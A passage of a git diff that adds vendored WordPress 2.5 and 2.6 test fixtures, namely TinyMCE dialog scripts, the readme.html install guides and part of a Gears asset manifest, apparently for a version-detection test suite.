f.width.value = f.height.value = "";
|
||||
},
|
||||
|
||||
updateImageData : function() {
|
||||
var f = document.forms[0], t = ImageDialog;
|
||||
|
||||
if (f.width.value == "")
|
||||
f.width.value = t.preloadImg.width;
|
||||
|
||||
if (f.height.value == "")
|
||||
f.height.value = t.preloadImg.height;
|
||||
},
|
||||
|
||||
getImageData : function() {
|
||||
var f = document.forms[0];
|
||||
|
||||
this.preloadImg = new Image();
|
||||
this.preloadImg.onload = this.updateImageData;
|
||||
this.preloadImg.onerror = this.resetImageData;
|
||||
this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value);
|
||||
}
|
||||
};
|
||||
|
||||
ImageDialog.preInit();
|
||||
tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog);
|
||||
91
spec/fixtures/wp_versions/2.5/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.5/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.5
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.5:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
126
spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js
vendored
Executable file
126
spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js
vendored
Executable file
@@ -0,0 +1,126 @@
|
||||
tinyMCEPopup.requireLangPack();
|
||||
|
||||
var LinkDialog = {
|
||||
preInit : function() {
|
||||
var url;
|
||||
|
||||
if (url = tinyMCEPopup.getParam("external_link_list_url"))
|
||||
document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
|
||||
},
|
||||
|
||||
init : function() {
|
||||
var f = document.forms[0], ed = tinyMCEPopup.editor;
|
||||
|
||||
// Setup browse button
|
||||
document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link');
|
||||
if (isVisible('hrefbrowser'))
|
||||
document.getElementById('href').style.width = '180px';
|
||||
|
||||
this.fillClassList('class_list');
|
||||
this.fillFileList('link_list', 'tinyMCELinkList');
|
||||
this.fillTargetList('target_list');
|
||||
|
||||
if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) {
|
||||
f.href.value = ed.dom.getAttrib(e, 'href');
|
||||
f.linktitle.value = ed.dom.getAttrib(e, 'title');
|
||||
f.insert.value = ed.getLang('update');
|
||||
selectByValue(f, 'link_list', f.href.value);
|
||||
selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target'));
|
||||
selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class'));
|
||||
}
|
||||
},
|
||||
|
||||
update : function() {
|
||||
var f = document.forms[0], ed = tinyMCEPopup.editor, e, b;
|
||||
|
||||
tinyMCEPopup.restoreSelection();
|
||||
|
||||
// Remove element if there is no href
|
||||
if (!f.href.value) {
|
||||
e = ed.dom.getParent(ed.selection.getNode(), 'A');
|
||||
if (e) {
|
||||
tinyMCEPopup.execCommand("mceBeginUndoLevel");
|
||||
b = ed.selection.getBookmark();
|
||||
ed.dom.remove(e, 1);
|
||||
ed.selection.moveToBookmark(b);
|
||||
tinyMCEPopup.execCommand("mceEndUndoLevel");
|
||||
tinyMCEPopup.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
ed.execCommand('mceInsertLink', false, {
|
||||
href : f.href.value,
|
||||
title : f.linktitle.value,
|
||||
target : f.target_list ? f.target_list.options[f.target_list.selectedIndex].value : null,
|
||||
'class' : f.class_list ? f.class_list.options[f.class_list.selectedIndex].value : null
|
||||
});
|
||||
|
||||
tinyMCEPopup.close();
|
||||
},
|
||||
|
||||
checkPrefix : function(n) {
|
||||
if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email')))
|
||||
n.value = 'mailto:' + n.value;
|
||||
|
||||
if (/^\s*www./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external')))
|
||||
n.value = 'http://' + n.value;
|
||||
},
|
||||
|
||||
fillFileList : function(id, l) {
|
||||
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
|
||||
|
||||
l = window[l];
|
||||
|
||||
if (l && l.length > 0) {
|
||||
lst.options[lst.options.length] = new Option('', '');
|
||||
|
||||
tinymce.each(l, function(o) {
|
||||
lst.options[lst.options.length] = new Option(o[0], o[1]);
|
||||
});
|
||||
} else
|
||||
dom.remove(dom.getParent(id, 'tr'));
|
||||
},
|
||||
|
||||
fillClassList : function(id) {
|
||||
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
|
||||
|
||||
if (v = tinyMCEPopup.getParam('theme_advanced_styles')) {
|
||||
cl = [];
|
||||
|
||||
tinymce.each(v.split(';'), function(v) {
|
||||
var p = v.split('=');
|
||||
|
||||
cl.push({'title' : p[0], 'class' : p[1]});
|
||||
});
|
||||
} else
|
||||
cl = tinyMCEPopup.editor.dom.getClasses();
|
||||
|
||||
if (cl.length > 0) {
|
||||
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
|
||||
|
||||
tinymce.each(cl, function(o) {
|
||||
lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']);
|
||||
});
|
||||
} else
|
||||
dom.remove(dom.getParent(id, 'tr'));
|
||||
},
|
||||
|
||||
fillTargetList : function(id) {
|
||||
var dom = tinyMCEPopup.dom, lst = dom.get(id), v;
|
||||
|
||||
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
|
||||
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self');
|
||||
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank');
|
||||
|
||||
if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) {
|
||||
tinymce.each(v.split(','), function(v) {
|
||||
v = v.split('=');
|
||||
lst.options[lst.options.length] = new Option(v[0], v[1]);
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
LinkDialog.preInit();
|
||||
tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog);
|
||||
91
spec/fixtures/wp_versions/2.6/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.6/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.6
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.6:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
222
spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php
vendored
Normal file
222
spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,222 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "042b5463d848123f945c211604b14c38_20080710a",
|
||||
"entries" : [
|
||||
{ "url" : "js/common.js?ver=20080318" },
|
||||
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
|
||||
{ "url" : "../wp-includes/js/quicktags.js?ver=3958" },
|
||||
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
|
||||
{ "url" : "js/editor.js?ver=20080710" },
|
||||
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
|
||||
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20080316" },
|
||||
{ "url" : "../wp-includes/js/autosave.js?ver=20080622" },
|
||||
{ "url" : "../wp-includes/js/wp-lists.js?ver=20080411" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/scriptaculous.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
|
||||
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" },
|
||||
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.0.2-20080430" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.0.2" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.0.2" },
|
||||
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.0.2-20080407" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.1" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.1" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.1" },
|
||||
{ "url" : "js/cat.js?ver=20071101" },
|
||||
{ "url" : "js/categories.js?ver=20071031" },
|
||||
{ "url" : "js/tags.js?ver=20071031" },
|
||||
{ "url" : "js/custom-fields.js?ver=20070823" },
|
||||
{ "url" : "js/password-strength-meter.js?ver=20070405" },
|
||||
{ "url" : "js/edit-comments.js?ver=20080311" },
|
||||
{ "url" : "js/users.js?ver=20070823" },
|
||||
{ "url" : "js/forms.js?ver=20080401" },
|
||||
{ "url" : "js/xfn.js?ver=3517" },
|
||||
{ "url" : "js/upload.js?ver=20070518" },
|
||||
{ "url" : "js/postbox.js?ver=20080128" },
|
||||
{ "url" : "js/slug.js?ver=20080208" },
|
||||
{ "url" : "js/post.js?ver=20080629" },
|
||||
{ "url" : "js/page.js?ver=20080318" },
|
||||
{ "url" : "js/link.js?ver=20080131" },
|
||||
{ "url" : "js/comment.js?ver=20080219" },
|
||||
{ "url" : "js/gallery.js?ver=20080709" },
|
||||
{ "url" : "js/media-upload.js?ver=20080710" },
|
||||
{ "url" : "js/widgets.js?ver=20080503" },
|
||||
{ "url" : "js/word-count.js?ver=20080423" },
|
||||
{ "url" : "js/wp-gears.js?ver=20080511" },
|
||||
{ "url" : "js/theme-preview.js?ver=20080625" },
|
||||
{ "url" : "wp-admin.css?ver=2.6" },
|
||||
{ "url" : "rtl.css?ver=2.6" },
|
||||
{ "url" : "css/ie.css?ver=2.6" },
|
||||
{ "url" : "css/ie-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/colors-classic.css?ver=2.6" },
|
||||
{ "url" : "css/colors-classic-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/colors-fresh.css?ver=2.6" },
|
||||
{ "url" : "css/colors-fresh-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/global.css?ver=2.6" },
|
||||
{ "url" : "css/global-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/media.css?ver=20080709" },
|
||||
{ "url" : "css/media-rtl.css?ver=20080709" },
|
||||
{ "url" : "css/widgets.css?ver=2.6" },
|
||||
{ "url" : "css/widgets-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/dashboard.css?ver=2.6" },
|
||||
{ "url" : "css/dashboard-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/install.css?ver=20080708" },
|
||||
{ "url" : "css/install-rtl.css?ver=20080708" },
|
||||
{ "url" : "css/theme-editor.css?ver=2.6" },
|
||||
{ "url" : "css/theme-editor-rtl.css?ver=2.6" },
|
||||
{ "url" : "css/press-this.css?ver=20080710" },
|
||||
{ "url" : "css/press-this-rtl.css?ver=20080710" },
|
||||
{ "url" : "css/press-this-ie.css?ver=20080710" },
|
||||
{ "url" : "css/press-this-ie-rtl.css?ver=20080710" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20080613" },
|
||||
{ "url" : "css/login.css?ver=2.6" },
|
||||
{ "url" : "css/login-rtl.css?ver=2.6" },
|
||||
|
||||
{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/comment-pill.gif" },
|
||||
{ "url" : "images/comment-stalk-classic.gif" },
|
||||
{ "url" : "images/comment-stalk-fresh.gif" },
|
||||
{ "url" : "images/comment-stalk-rtl.gif" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/gear.png" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/media-button-gallery.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/media-buttons.gif" },
|
||||
{ "url" : "images/tab.png" },
|
||||
{ "url" : "images/tail.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/loading-publish.gif" },
|
||||
{ "url" : "images/loading.gif" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/yes.png" },
|
||||
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" },
|
||||
{ "url" : "../wp-includes/js/swfupload/swfupload_f9.swf" },
|
||||
|
||||
{ "url" : "../wp-includes/js/tinymce/tiny_mce_popup.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/utils/mctabs.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/utils/validate.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/utils/form_utils.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/utils/editable_selects.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pasteword.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pastetext.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/js/media.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/color_picker.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/charmap.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/image.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/link.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/source_editor.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/anchor.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js?ver=311d" },
|
||||
{ "url" : "../wp-includes/js/tinymce/tiny_mce.js?ver=311" },
|
||||
